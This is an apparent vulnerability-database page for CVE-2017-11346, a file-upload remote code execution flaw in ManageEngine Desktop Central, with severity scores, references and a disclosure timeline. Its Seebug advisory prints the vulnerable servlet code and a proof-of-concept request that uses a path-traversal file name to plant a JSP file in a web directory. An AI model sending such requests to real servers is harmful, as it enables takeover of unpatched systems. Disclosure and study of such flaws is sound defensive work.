Vulnerabilities > CVE-2017-11346 - Improper Input Validation vulnerability in Zohocorp Manageengine Desktop Central

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
zohocorp
CWE-20
exploit available

Summary

Zoho ManageEngine Desktop Central before build 100092 allows remote attackers to execute arbitrary code via vectors involving the upload of help desk videos.

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Exploit-Db

descriptionManageEngine Desktop Central 10 Build 100087 - Remote Code Execution (Metasploit). CVE-2017-11346. Webapps exploit for Java platform
fileexploits/java/webapps/42358.rb
idEDB-ID:42358
last seen2017-07-24
modified2017-07-24
platformjava
port
published2017-07-24
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42358/
titleManageEngine Desktop Central 10 Build 100087 - Remote Code Execution (Metasploit)
typewebapps

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/143466/medc10-exec.txt
idPACKETSTORM:143466
last seen2017-07-26
published2017-07-24
reporterKacper Szurek
sourcehttps://packetstormsecurity.com/files/143466/ManageEngine-Desktop-Central-10-Build-100087-Remote-Code-Execution.html
titleManageEngine Desktop Central 10 Build 100087 Remote Code Execution

Seebug

bulletinFamilyexploit
description### Description: When uploading a file, the `FileUploadServlet` class does not check the user-controlled `fileName` parameter using `hasVulnerabilityInFileName` function. This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. ``` package com.adventnet.sym.webclient.common; public class FileUploadServlet extends HttpServlet { private Logger logger = Logger.getLogger("RDSLogger"); public static final String RDS_UPLOAD = "rds_file_upload"; public static final String SCRIPT_LOG_UPLOAD = "scriptLog"; public static final String HELPDESK_VIDEO_UPLOAD = "HelpDesk_video"; public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String sourceMethod = "FileUploadServlet::doPost"; this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + request.getRemoteHost()); String action = request.getParameter("action"); if ("scriptLog".equals(action)) { scriptLogUpload(request, response); } else if ("rds_file_upload".equals(action)) { rdsScreenUpload(request, response); } else if ("HelpDesk_video".equals(action)) { helpDeskVideoUpload(request, response); } } private void helpDeskVideoUpload(HttpServletRequest request, HttpServletResponse response) { String sourceMethod = "FileUploadServlet::helpDeskVideoUpload"; try { String action = request.getParameter("action"); String resourceId = request.getParameter("resourceId"); String compName = request.getParameter("computerName"); long customerId = Long.parseLong(request.getParameter("customerId")); String videoFileName = request.getParameter("fileName"); Long nDataLength = Long.valueOf(request.getContentLength()); try { PrintWriter responsetoAgent = response.getWriter(); if ((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName))) { this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the helpDeskVideoUpload request from: compName:{0}", new Object[] { compName }); response.sendError(403, "Request Refused"); return; } long freeSpace = RDSUtil.getInstance().getServerFreeSpace(); if (nDataLength.longValue() < freeSpace) { String server_home = DCMetaDataUtil.getInstance().getServerDataDir(Long.valueOf(customerId)); String fs = File.separator; this.logger.log(Level.FINE, sourceMethod + " -> The server home path is : " + server_home); String absoluteFileName = server_home + fs + "HelpDesk" + fs + compName + "_" + resourceId; if (!ApiFactory.getFileAccessAPI().isFileExists(absoluteFileName)) { ApiFactory.getFileAccessAPI().createDirectory(absoluteFileName); } absoluteFileName = absoluteFileName + fs + videoFileName; String receivedStatus = downloadFile(request, absoluteFileName); if ("Success".equalsIgnoreCase(receivedStatus)) { response.setHeader("Upload_Status", receivedStatus); } } else { this.logger.log(Level.WARNING, sourceMethod + " -> No required Space is availbale to store the video file "); responsetoAgent.println("Status :1|Msg :No enough sapce in server to save video file|"); } this.logger.log(Level.INFO, sourceMethod + " -> The method ended "); } catch (Exception ex) { response.sendError(500, "Problem while retriving video in server"); this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex); } } catch (Exception ex) { this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex); } } private String downloadFile(HttpServletRequest request, String destnAbsoluteFileName) { String status = "Success"; Long nDataLength = Long.valueOf(request.getContentLength()); String checkSumValue = request.getParameter("checkSumValue"); try { String sourceMethod = "FileUploadServlet::downLoadFile"; InputStream appIn = request.getInputStream(); Thread.sleep(5000L); OutputStream outputFile = new FileOutputStream(destnAbsoluteFileName); this.logger.log(Level.INFO, sourceMethod + " -----> Method Starts <-----"); try { int numread = 0; int count = 0; byte[] bytesread = new byte[262144]; long receivedFileSize = 0L; this.logger.log(Level.INFO, sourceMethod + " -> Total Received Data length = : " + nDataLength); while ((appIn != null) && ((numread = appIn.read(bytesread)) != -1)) { count++; this.logger.log(Level.FINE, sourceMethod + " -> Going to write the file: count: " + count + " numread :" + numread); outputFile.write(bytesread, 0, numread); receivedFileSize += numread; this.logger.log(Level.FINE, sourceMethod + " -> receivedFileSize: " + receivedFileSize); } String checkSum = ChecksumProvider.getInstance().GetMD5HashFromFile(destnAbsoluteFileName); this.logger.log(Level.INFO, sourceMethod + " Generated checksum value is : " + checkSum); if ((nDataLength.longValue() != receivedFileSize) || (!checkSum.equals(checkSumValue))) { status = "Failed"; } } catch (Exception e) { this.logger.log(Level.WARNING, " -> Exception occured while writing file: " + e); } finally { outputFile.close(); if (appIn != null) { appIn.close(); } } this.logger.log(Level.INFO, sourceMethod + " -----> Method Ends <-----"); } catch (Exception e) { this.logger.log(Level.WARNING, " -> Exception occured : " + e); } return status; } } ``` ### Proof of Concept: [Download Metasploit Module](https://github.com/kacperszurek/exploits/blob/master/ManageEngineDesktopCentral/manageengine_filename_rce.rb) Send request: ``` POST /fileupload?action=HelpDesk_video&computerName=hacked&resourceId=1&fileName=\..\..\..\..\jspf\hack.jsp&customerId=1 HTTP/1.1 Host: localhost:8020 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8 Connection: close Content-Length: 29 <%= new String("Hello!") %> ``` Then visit: ``` http://localhost:8020/jspf/hack.jsp ``` ### Timeline: * 21-04-2017: Discovered * 05-05-2017: Vendor notified * 12-07-2017: New version released, issue resolved
idSSV:96295
last seen2017-11-19
modified2017-07-25
published2017-07-25
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-96295
titleManageEngine Desktop Central 10 Build 100087 RCE(CVE-2017-11346)